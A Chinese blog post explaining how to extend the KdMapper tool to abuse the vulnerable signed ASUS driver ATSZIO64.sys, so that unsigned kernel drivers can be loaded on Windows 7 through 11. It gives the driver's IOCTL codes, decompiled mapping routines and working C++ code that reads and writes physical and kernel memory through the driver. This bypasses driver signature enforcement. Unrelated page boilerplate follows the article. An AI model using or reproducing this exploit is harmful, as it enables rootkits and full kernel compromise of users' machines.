KdMapper扩展实现之ASUS(ATSZIO64.sys)

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称ATSZIO64.sys 
时间戳541ACA3E
MD5DBF11F3FAD1DB3EB08E2EE24B5EBFB95
文件版本0.2.1.7
设备名称        \\.\ATSZIO
映射物理内存0x8807200C
取消映射物理内存0x88072010
Windows 7支持
Windows 1022H2(包含)及以下
Windows 1122621(包含)及以下

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140006920;
        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1400068D0;
        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_1400068D0;
        DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)sub_1400068D0;
        DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)sub_1400068D0;
        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
        return CreateDevice(DriverObject);
}

3.2 创建设备和符号链接

__int64 __fastcall CreateDevice(struct _DRIVER_OBJECT* a1)
{
        __int64 result; // rax
        NTSTATUS v2; // [rsp+40h] [rbp-88h]
        NTSTATUS v3; // [rsp+40h] [rbp-88h]
        char* v4; // [rsp+48h] [rbp-80h]
        PDEVICE_OBJECT DeviceObject; // [rsp+50h] [rbp-78h] BYREF
        PCWSTR SourceString; // [rsp+58h] [rbp-70h]
        __int64 v7; // [rsp+60h] [rbp-68h]
        _UNICODE_STRING DestinationString; // [rsp+68h] [rbp-60h] BYREF
        wchar_t* v9; // [rsp+78h] [rbp-50h]
        _UNICODE_STRING SymbolicLinkName; // [rsp+80h] [rbp-48h] BYREF
        _UNICODE_STRING DeviceName; // [rsp+90h] [rbp-38h] BYREF
        _UNICODE_STRING EventName; // [rsp+A0h] [rbp-28h] BYREF
 
        RtlInitUnicodeString(&DestinationString, aDeviceAtszio);
        qmemcpy(&DeviceName, &DestinationString, sizeof(DeviceName));
        v2 = IoCreateDevice(a1, 0x38u, &DeviceName, 0x8807u, 0, 0, &DeviceObject);
        if (v2 < 0)
                return (unsigned int)v2;
        DeviceObject->Flags |= 4u;
        v4 = (char*)DeviceObject->DeviceExtension;
        *(_QWORD*)v4 = DeviceObject;
        qmemcpy(v4 + 8, &DestinationString, 0x10ui64);
        *((_QWORD*)v4 + 6) = 0i64;
        RtlInitUnicodeString(&EventName, aBasenamedobjec);
        *((_QWORD*)v4 + 5) = IoCreateSynchronizationEvent(&EventName, (PHANDLE)v4 + 6);
        if (*((_QWORD*)v4 + 5))
        {
                SourceString = (PCWSTR)ExAllocatePool(NonPagedPool, 0x16ui64);
                memset((void*)SourceString, 0, 0x16ui64);
                v9 = aAtszio;
                v7 = -1i64;
                do
                        ++v7;
                while (v9[v7]);
                qmemcpy((void*)SourceString, aAtszio, 2 * v7 + 2);
                P = (PVOID)SourceString;
                RtlInitUnicodeString(&SymbolicLinkName, SourceString);
                qmemcpy(v4 + 24, &SymbolicLinkName, 0x10ui64);
                v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (v3 >= 0)
                {
                        result = 0i64;
                }
                else
                {
                        IoDeleteDevice(DeviceObject);
                        result = (unsigned int)v3;
                }
        }
        else
        {
                IoDeleteDevice(DeviceObject);
                result = 0xC0000001i64;
        }
        return result;
}

  其中 aDeviceAtszio 和 aAtszio 如下定义:

INIT:0000000140006240 aDeviceAtszio:                          ; DATA XREF: sub_140006008+1D↑o
INIT:0000000140006240                 text "UTF-16LE", '\Device\ATSZIO',0
INIT:000000014000625E                 align 20h
INIT:0000000140006260 ; WCHAR aBasenamedobjec
INIT:0000000140006260 aBasenamedobjec:                        ; DATA XREF: sub_140006008+6D↑o
INIT:0000000140006260                 text "UTF-16LE", '\BaseNamedObjects\WaitForIoAccess',0
INIT:00000001400062A4                 align 10h
INIT:00000001400062B0 aAtszio:                                ; DATA XREF: sub_140006008+C5↑o
INIT:00000001400062B0                 text "UTF-16LE", '\??\ATSZIO',0
INIT:00000001400062C6                 align 8

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
 
        ULONG nInputBufferLength; // [rsp+48h] [rbp-230h]
       
        int Buffer; // [rsp+84h] [rbp-1F4h] BYREF
       
        PATSZIO_PHYSICAL_MEMORY_INFO pMapPhysicalMemoryInfo; // [rsp+F8h] [rbp-180h]
        ULONG nOutputBufferLength; // [rsp+154h] [rbp-124h]
        IO_STACK_LOCATION* pIosp; // [rsp+188h] [rbp-F0h]
        unsigned __int64 v54; // [rsp+190h] [rbp-E8h]
        ULONG nIoControlCode; // [rsp+198h] [rbp-E0h]
        PVOID BaseAddress; // [rsp+1A0h] [rbp-D8h]
        _ATSZIO_PHYSICAL_MEMORY_INFO* pUnmapPhysicalMemoryInfo; // [rsp+1D0h] [rbp-A8h]
        union _LARGE_INTEGER liOffsetMap; // [rsp+1E8h] [rbp-90h]
        PVOID pAddressMapped; // [rsp+1F8h] [rbp-80h] BYREF
        void* hMapSection; // [rsp+208h] [rbp-70h] BYREF
        PVOID pMappedAddress; // [rsp+218h] [rbp-60h]
        HANDLE hUnMapSection; // [rsp+228h] [rbp-50h]
 
 
        pIrp->IoStatus.Status = 0;
        pIrp->IoStatus.Information = 0i64;
        pIosp = GetCurrentStackLocation(pIrp);
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        ......
                case 0x8807200C:
                        pMapPhysicalMemoryInfo = (PATSZIO_PHYSICAL_MEMORY_INFO)pIrp->AssociatedIrp.MasterIrp;
                        pMapPhysicalMemoryInfo->MappedBaseAddress = 0i64;
                        liOffsetMap.QuadPart = pMapPhysicalMemoryInfo->Offset.QuadPart & 0xFFFFFFFFFFFFF000ui64;
                        if (nInputBufferLength)
                        {
                                MapPhysicalMemory(liOffsetMap, pMapPhysicalMemoryInfo->ViewSize, &pAddressMapped, &hMapSection);
                                pMapPhysicalMemoryInfo->MappedBaseAddress = pAddressMapped;
                                pMapPhysicalMemoryInfo->SectionHandle = hMapSection;
                                pIrp->IoStatus.Information = nOutputBufferLength;
                        }
                        else
                        {
                                pIrp->IoStatus.Status = 0xC000000D;
                        }
                        break;
                case 0x88072010:
                        pUnmapPhysicalMemoryInfo = (_ATSZIO_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.MasterIrp;
                        pMappedAddress = pUnmapPhysicalMemoryInfo->MappedBaseAddress;
                        hUnMapSection = pUnmapPhysicalMemoryInfo->SectionHandle;
                        ntStatusV7 = UnmapPhysicalMemory(hUnMapSection, pMappedAddress);
                        pIrp->IoStatus.Information = 0i64;
                        pIrp->IoStatus.Status = ntStatusV7;
                        break;
              
        ......
 
LABEL_147:
        ntStatus = pIrp->IoStatus.Status;
        IofCompleteRequest(pIrp, 0);
        return ntStatus;
}

  其中映射物理内存 ControlCode 为 0x8807200C,取消映射为 0x88072010,相应的函数为 sub_140005B0C 和 sub_140005C44。

3.4 映射物理内存

__int64 __fastcall MapPhysicalMemory(union _LARGE_INTEGER PhysicalAddress, unsigned int nViewSize, PVOID* pAddressMapped, void** hMapSection)
{
        __int64 result; // rax
        NTSTATUS ntStatus; // [rsp+50h] [rbp-98h]
        NTSTATUS ntStatusV6; // [rsp+50h] [rbp-98h]
        PVOID BaseAddress; // [rsp+58h] [rbp-90h] BYREF
        union _LARGE_INTEGER SectionOffset; // [rsp+60h] [rbp-88h] BYREF
        ULONG_PTR ViewSize; // [rsp+68h] [rbp-80h] BYREF
        struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+70h] [rbp-78h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+A0h] [rbp-48h] BYREF
        PVOID Object; // [rsp+B0h] [rbp-38h] BYREF
 
        RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
        ObjectAttributes.ObjectName = &DestinationString;
        ObjectAttributes.Length = 48;
        ObjectAttributes.RootDirectory = 0i64;
        ObjectAttributes.Attributes = 512;
        ObjectAttributes.SecurityDescriptor = 0i64;
        ObjectAttributes.SecurityQualityOfService = 0i64;
        ntStatus = ZwOpenSection(hMapSection, 7u, &ObjectAttributes);
        BaseAddress = 0i64;
        ViewSize = nViewSize;
        SectionOffset = PhysicalAddress;
        if (ntStatus < 0)
        {
                *pAddressMapped = 0i64;
                result = (unsigned int)ntStatus;
        }
        else
        {
                ntStatusV6 = ObReferenceObjectByHandle(*hMapSection, 7u, 0i64, 0, &Object, 0i64);
                if (ntStatusV6 < 0)
                {
                        ZwClose(*hMapSection);
                        *pAddressMapped = 0i64;
                }
                else
                {
                        ntStatusV6 = ZwMapViewOfSection(
                                *hMapSection,
                                (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                &BaseAddress,
                                0i64,
                                nViewSize,
                                &SectionOffset,
                                &ViewSize,
                                ViewShare,
                                0,
                                4u);
                        ZwClose(*hMapSection);
                        *pAddressMapped = BaseAddress;
                }
                result = (unsigned int)ntStatusV6;
        }
        return result;
}

  其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

3.5 取消映射物理内存

__int64 __fastcall UnmapPhysicalMemory(void* hSection, void* pUnmapAddress)
{
        NTSTATUS ntStatus; // [rsp+20h] [rbp-18h]
 
        ntStatus = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, pUnmapAddress);
        if (ntStatus < 0)
                ZwClose(hSection);
        return (unsigned int)ntStatus;
}

3.6 ATSZIO_PHYSICAL_MEMORY_INFO结构

00000000 ATSZIO_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, mappedto_381)
00000000 Unused0         dq ?
00000008 SectionHandle   dq ?
00000010 ViewSize        dd ?
00000014 Padding0        dd ?
00000018 Offset          _LARGE_INTEGER ?
00000020 MappedBaseAddress dq ?
00000028 ATSZIO_PHYSICAL_MEMORY_INFO ends

4. 代码实现

4.1 .h文件

#pragma warning(push)
#pragma warning(disable:4324) // structure padded due to __declspec(align())
        typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)_ATSZIO_PHYSICAL_MEMORY_INFO {
                ULONG_PTR Unused0;
                HANDLE SectionHandle;
                ULONG ViewSize;
                ULONG Padding0;
                ULARGE_INTEGER Offset;
                PVOID MappedBaseAddress;
        } ATSZIO_PHYSICAL_MEMORY_INFO, * PATSZIO_PHYSICAL_MEMORY_INFO;
#pragma warning(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define ATSZIO_DEVICE_TYPE          (DWORD)0x8807
#define ATSZIO_MAP_SECTION_FUNCID   (DWORD)0x803
#define ATSZIO_UNMAP_SECTION_FUNCID (DWORD)0x804

#define IOCTL_ATSZIO_MAP_USER_PHYSICAL_MEMORY      \
    CTL_CODE(ATSZIO_DEVICE_TYPE, ATSZIO_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x8807200C 

#define IOCTL_ATSZIO_UNMAP_USER_PHYSICAL_MEMORY    \
    CTL_CODE(ATSZIO_DEVICE_TYPE, ATSZIO_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x88072010

4.2 .c文件

NTSTATUS asus_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL asus_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

PVOID asus_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes,
        _Out_ HANDLE* SectionHandle
)
{
        ULONG_PTR offset;
        ULONG mapSize;
        ATSZIO_PHYSICAL_MEMORY_INFO request;

        *SectionHandle = NULL;

        RtlSecureZeroMemory(&request, sizeof(request));

        offset = PhysicalAddress & ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;

        request.Offset.QuadPart = offset;
        request.ViewSize = mapSize;

        if (SuperCallDriver(DeviceHandle,
                IOCTL_ATSZIO_MAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request)))
        {
                *SectionHandle = request.SectionHandle;
                return request.MappedBaseAddress;
        }

        return NULL;
}

VOID asus_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID SectionToUnmap,
        _In_ HANDLE SectionHandle
)
{
        ATSZIO_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        request.SectionHandle = SectionHandle;
        request.MappedBaseAddress = SectionToUnmap;

        SuperCallDriver(DeviceHandle,
                IOCTL_ATSZIO_UNMAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request));
}

BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        ULONG_PTR offset;
        HANDLE sectionHandle = NULL;

        //
        // Map physical memory section.
        //
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes,
                &sectionHandle);

        if (mappedSection) {

                offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));

                __try {

                        if (DoWrite) {
                                RtlCopyMemory(RtlOffsetToPointer(mappedSection, offset), Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, RtlOffsetToPointer(mappedSection, offset), NumberOfBytes);
                        }

                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }

                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection,
                        sectionHandle);

        }
        else {
                dwError = GetLastError();
        }

        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

5. 运行效果

  Windows 11 22621 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
asus华硕原厂原装出厂自带系统.wim是指华硕电脑出厂时预先安装的操作系统文件。这个文件是以.wim为后缀名的压缩文件,包含了安装Windows操作系统所需的全部文件和设置。 华硕电脑出厂时,为了方便用户使用,已经将Windows操作系统安装好,并将相关的文件压缩成一个.wim文件。这个文件保存在电脑硬盘的某个分区中,用户可以通过恢复分区或恢复光盘来恢复电脑的出厂设置。 使用.asus华硕原厂原装出厂自带系统.wim文件可以进行系统恢复,将电脑重置为出厂时的状态。通过恢复分区或使用恢复光盘,用户可以选择重新安装操作系统,并还原所有出厂设置和预装的软件。 这种预装系统的好处是可以节省用户的安装时间和操作,减少用户的麻烦。用户只需要按照华硕电脑提供的恢复指南,选择相应的恢复方式,就可以很快地使电脑恢复到出厂时的状态。 然而,使用原装出厂自带系统.wim文件进行恢复也有一些限制。首先,恢复系统将删除电脑上所有用户数据和文件,因此在操作之前需要备份重要数据。其次,原装系统可能不是最新版本,用户可能需要手动更新系统和驱动程序以确保最佳性能和安全性。 总的来说,asus华硕原厂原装出厂自带系统.wim文件是华硕电脑出厂时预装的操作系统文件,可以用于恢复电脑到出厂设置。用户应该备份重要数据,并在恢复后手动更新系统以确保最佳性能和安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值